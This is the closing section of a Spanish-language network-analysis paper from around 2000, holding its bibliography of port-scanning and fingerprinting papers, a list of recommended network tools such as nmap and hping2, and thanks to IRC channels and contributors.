   3. Bibliografia y agradecimientos
      ==============================

   Bibliografia:
   ~~~~~~~~~~~~~
   [1] TCP/IP Illustrated vol. 1 by Richard Stevens
   [2] Remote OS detection via TCP/IP Stack FingerPrinting by Fyodor
   [3] BIND 8.2 - 8.2.2 *Remote root Exploit How-To* by E-Mind
   [4] The Art of Port Scanning by Fyodor
   [5] Port Scanning without the SYN flag by Uriel Maimon
   [6] Port Scanning; A Basic Understanding by John Holstein
   [7] Intrusion Detection Level Analysis of Nmap and Queso by Toby Miller
   [8] Scanning for RPC Services by halflife
   [9] Firewalking, A Traceroute-Like Analysis of IP Packet Responses
   to  Determine  Gateway   Access  Control  Lists  by  Cambridge
   Technology Partners'
   [10] Techniques To Validate Host-Connectivity by dethy@synnergy.net
   [11] CGI Security Holes by Gregory Gillis
   [12] Passive Mapping, The Importance of Stimuli by Coretez Giovanni
   [13] Examining port scan methods - Analysing Audible Techniques
   by dethy@synnergy.net
   [14] A network intrusion detection system test suite
   by Anzen Computing
   [15] Passive Mapping: An Offensive Use of IDS by Coretez Giovanni
   [16] SWITCH - Swiss Academic & Research Network. Default TTL Values in
   TCP/IP

   Programas recomendables para hacer mejor uso de este paper:
   ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
   queso      tcpdump      snort      ipsend      
   siphon      conda      iplog      sos
   sing      icmpquery   iputils      isic   
   hping2      ss      arping      nemesis
   ethereal   checkos      dps      sendip
   nmap      nessus      dscan      spak
   nsat      satan      icmpenum   fragrouter

   etc...

   Gracias a los canales:
   ~~~~~~~~~~~~~~~~~~~~~~
   #networking, #hack, #hackers y #linux @ irc-hispano.org.
   #low-level, #phrack, #spain y #localhost @ efnet.
   
   Gracias por su ayuda a:
   ~~~~~~~~~~~~~~~~~~~~~~~
   David Cerezo Sanchez aka bit-quake, impresionante :)
   icehouse
   nunotreez 
   Pedro Andujar aka crg
   Pablo Balzola aka pib
   lyw0d
   Fernando Luis aka merphe

   Y gracias a ti por haber leido este documento.

    Sun Dec 31 17:11:59 CET 2000
   
    Ultima revision: Sat Apr 21 02:08:42 CEST 2001

       -honoriak
      
    "callar es asentir, no te dejes llevar"

----------------------------------------------------------------------
Fin de pasteo
Este texto ha sido copiado y pasteado de
http://www.sindominio.net/hmleioa01/material/analisis.txt
Callar es asentir ¡No te dejes llevar!